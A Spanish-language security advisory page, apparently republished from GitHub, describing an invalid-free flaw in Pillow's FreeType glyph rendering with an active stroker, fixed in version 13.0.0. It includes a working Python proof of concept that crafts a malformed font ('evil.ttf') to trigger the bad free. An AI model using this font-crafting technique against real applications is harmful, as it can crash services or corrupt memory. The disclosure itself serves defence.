Pillow: Liberación inválida en el renderizado de glifos de FreeType cuando hay un stroker activo
Resumen
Cuando se dibuja texto con un ancho de trazo distinto de cero, Pillow crea un trazador (stroker) de FreeType y luego carga cada glifo. Si FT_Load_Glyph falla para un glifo, la ruta de limpieza llama a FT_Done_Glyph en la variable glyph. Dicha variable no se inicializa antes del primer bucle de medición y, en el bucle de renderizado, no se restablece a NULL después de liberar cada glifo. Una fuente malformada cargada desde bytes no confiables puede forzar el error de carga y alcanzar esta liberación de memoria. Se trata de un defecto latente de seguridad de memoria; que se produzca una caída del sistema depende del valor en el puntero no inicializado o desactualizado.
Detalles
glyph se declara sin un inicializador NULL:
src/_imagingft.c:848
El primer bucle de medición puede saltar a glyph_error antes de que glyph llegue a asignarse:
src/_imagingft.c:1010-1013
En el bucle de renderizado, el glifo se libera al final de cada iteración y no se restablece a NULL:
src/_imagingft.c:1242
La limpieza lo libera siempre que exista un stroker:
src/_imagingft.c:1253-1256
ImageFont.truetype acepta un objeto de archivo o bytes, por lo que la fuente puede ser suministrada por un atacante.
PoC
Esto requiere fontTools y cualquier TTF base (el ejemplo utiliza una incluida en las pruebas de Pillow). Reescribe el glifo "A" para reclamar 5000 contornos en un cuerpo de glifo demasiado corto para ellos, de modo que FT_Load_Glyph devuelve un error mientras que la tipografía todavía se abre.
import struct
from fontTools.ttLib import TTFont
from PIL import Image, ImageFont, ImageDraw
SRC = "Tests/fonts/FreeMono.ttf" # any TTF works as a base
tt = TTFont(SRC)
gid = tt.getGlyphID(tt.getBestCmap()[ord("A")])
loca_long = tt["head"].indexToLocFormat
tt.close()
raw = bytearray(open(SRC, "rb").read())
nt = struct.unpack(">H", raw[4:6])[0]
tbl = {}
for i in range(nt):
rec = 12 + i * 16
tag = bytes(raw[rec:rec+4]).decode("latin-1")
off, length = struct.unpack(">II", raw[rec+8:rec+16])
tbl[tag] = (off, length)
glyf_off = tbl["glyf"][0]; loca_off = tbl["loca"][0]
if loca_long:
o0 = struct.unpack_from(">I", raw, loca_off + 4*gid)[0]
else:
o0 = struct.unpack_from(">H", raw, loca_off + 2*gid)[0] * 2
struct.pack_into(">h", raw, glyf_off + o0, 5000) # numberOfContours = 5000
open("evil.ttf", "wb").write(raw)
f = ImageFont.truetype("evil.ttf", 20) # face opens
d = ImageDraw.Draw(Image.new("RGB", (64, 64)))
d.text((0, 0), "A", font=f, stroke_width=2) # load error -> FT_Done_Glyph on bad pointer
Resultado en la compilación fijada: FT_Load_Glyph devuelve un error y la ejecución alcanza la limpieza glyph_error que llama a FT_Done_Glyph(glyph) (el complemento muestra OSError: invalid outline).
Impacto
Las aplicaciones que dibujan texto con stroke_width != 0 utilizando fuentes cargadas desde bytes no confiables pueden provocar una liberación de memoria no válida o una doble liberación (double free). La corrección consiste en inicializar glyph = NULL y restablecerlo a NULL después de cada FT_Done_Glyph.
Qué hacer
Actualice Pillow a la versión 13.0.0 o posterior.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | pillow | >= 10.0.0, < 13.0.0 | 13.0.0 |
Referencias
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-j4m9-6w36-pw47
- https://nvd.nist.gov/vuln/detail/CVE-2026-112893
- https://github.com/python-pillow/Pillow/commit/a7416de7f3a43128179d2cf68df3240ea8dafe13
- https://github.com/python-pillow/Pillow
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0
- Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N- Debilidad (CWE)
CWE-457, CWE-763- Plataforma
- Python (PyPI)
- Paquete
pillow- Publicada
- 21.10.2026
- Actualizado
- 22.10.2026 00:04
Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.
OSV / GitHub Advisory Database - GHSA-j4m9-6w36-pw47 - CC BY 4.0
Historial de vulnerabilidades: pillow
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 89
- Primera → última
- 04.2014 10.2026
- Sin corrección
- 0
- Explotada en ataques
- 1
Distribución por gravedad
- Crítica 12
- Alta 57
- Media 18
- Baja 1
- Sin evaluar 1
Divulgaciones por año
- 2017: 1
- 2018: 0
- 2019: 1
- 2020: 10
- 2021: 20
- 2022: 8
- 2023: 3
- 2024: 2
- 2025: 1
- 2026: 31
antes: 12
-
Pillow: Liberación inválida en el renderizado de glifos de FreeType cuando hay un stroker activo esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.